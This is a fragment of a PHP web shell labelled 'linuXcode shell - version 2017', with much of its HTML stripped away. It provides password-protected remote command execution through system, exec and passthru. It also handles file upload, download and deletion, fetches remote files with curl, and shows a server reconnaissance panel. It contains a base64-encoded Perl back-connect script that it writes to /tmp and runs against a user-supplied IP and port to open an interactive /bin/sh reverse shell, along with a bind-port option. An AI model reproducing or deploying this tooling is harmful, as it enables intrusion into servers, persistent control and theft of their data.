^[ linuXcode shell - version 2017 ]^
"; echo ""; exit; } if( !isset($_SESSION[base64_encode($_SERVER['HTTP_HOST'])] )) if( empty($s57_paswot) || ( isset( $_POST['pass'] ) && (base64_encode($_POST['pass']) == $s57_paswot) ) ) $_SESSION[base64_encode($_SERVER['HTTP_HOST'])] = true; else shutdown57_login(); function a_cmd($command){ if(function_exists('system')){ $a_cmd=@system($command); }elseif (function_exists('exec')) { $a_cmd=@exec($command); }elseif (function_exists('shell_exec')) { $a_cmd=@shell_exec($command); }elseif (function_exists('passthru')) { $a_cmd=@passthru($command); } @ob_start(); $a_cmd.=@ob_get_contents(); return $a_cmd; } function a_upl($tmp,$file){ if(function_exists('move_uploaded_file')){ $a_upl=@move_uploaded_file($tmp,$file); }elseif (function_exists('copy')) { $a_upl=@copy($tmp,$file); } return $a_upl; } function a_getx($url, $isi) { $fp = fopen($isi, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } function a_fsize($files){ $size = filesize($files)/1024; $size = round($size,3); if($size > 1024) { $size = round($size/1024,2). 'MB'; } else { $size = $size. 'KB'; } return $size; } function a_own($path){ if(function_exists('posix_getpwuid')) { $downer = @posix_getpwuid(fileowner($path)); $downer = $downer['name']; } else { //$downer = $uid; $downer = fileowner($path); } return $downer; } function a_group($path){ if(function_exists('posix_getgrgid')) { $dgrp = @posix_getgrgid(filegroup($path)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($path); } return $dgrp; } function a_sperm($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function a_hdd($s) { if($s >= 1073741824) return sprintf('%1.2f',$s / 1073741824 ).' GB'; elseif($s >= 1048576) return sprintf('%1.2f',$s / 1048576 ) .' MB'; elseif($s >= 1024) return sprintf('%1.2f',$s / 1024 ) .' KB'; else return $s .' B'; } function a_download($file){ @ob_clean(); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); return readfile($file); exit; } function a_rmdir($d){ if(!rmdir($d)){ $s=scandir($d); foreach ($s as $ss) { if(is_file($d."/".$ss)){ if(unlink($d."/".$ss)){ rmdir($d); } } if(is_dir($d."/".$ss)){ rmdir($d."/".$ss); rmdir($d); } } } } function a_gantipass($old,$new){ $file=getcwd()."/".$_SERVER['PHP_SELF']; $getc=file_get_contents($file); $pw=str_replace("".$old."","".$new."",$getc); $fp=fopen($file,"w"); return fwrite($fp,$pw); fclose($fp); } // started alinko here if(empty($_GET['o'])&&empty($_GET['d'])){ $d=getcwd(); }else{ if(!empty($_GET['o'])){ $d=$_GET['o']; }else{ if(!empty($_GET['d'])){ if(file($_GET['d'])){ $d=dirname($_GET['d']); }else{ $d=$_GET['d']; } } } } if(function_exists('scandir')){ $s=@scandir($d); }else{ echo "
SERVER SOFTWARE : ".$_SERVER['SERVER_SOFTWARE']." UNAME : ".php_uname()." HOSTNAME : ".$_SERVER['HTTP_HOST']." IP SERVER : ".gethostbyname($_SERVER['HTTP_HOST'])." | YOUR IP : ".$_SERVER['REMOTE_ADDR']." User: ".$user." (".$uid.") Group: ".$group." (".$gid.") PHP version : ".phpversion()."-[PHPINFO] HDD Free Space: ".a_hdd(diskfreespace($d))." CURL:".$curl."|safemode:".$sm."|URL FOPEN:".$url_fp."|MySQL:".$mysql." DISABLE FUNCTIONS :".$df.""; echo " | ";
echo "
"; echo " | |
"; echo "Current dir :"; $d=str_replace('\\','/',$d); $path = explode('/',$d); foreach($path as $id=>$curdir){ if($curdir == '' && $id == 0){ $a = true; echo '/'; continue; } if($curdir == '') continue; echo ''.$curdir.'/'; } $pwd=str_replace('\\','/',getcwd()); $a_w=(is_writable($d)) ? "#W" : "#R"; echo " ($a_w) |
"; echo " ".$a_w_r.""; echo "".$a_w_d." |
Bind Port: PORT: | |
Server: | PORT: |
".$out."\n".a_cmd("ps aux | grep bp.pl").""; unlink("/tmp/bp.pl"); } $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; if(isset($_POST['sub_bc'])) { $f_bc = fopen("/tmp/bc.pl", "w"); fwrite($f_bc, base64_decode($back_connect_p)); fclose($f_bc); $ipbc = $_POST['ip_bc']; $port = $_POST['port_bc']; $out = a_cmd("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &"); sleep(1); echo "
".$out."\n".a_cmd("ps aux | grep bc.pl").""; unlink("/tmp/bc.pl"); } }elseif ($a_f == "out") { session_destroy(); echo ""; }elseif ($a_f == "copy") { $kopi=$_SESSION['copy']; echo "
"; echo "Confirm password | |
"; echo " |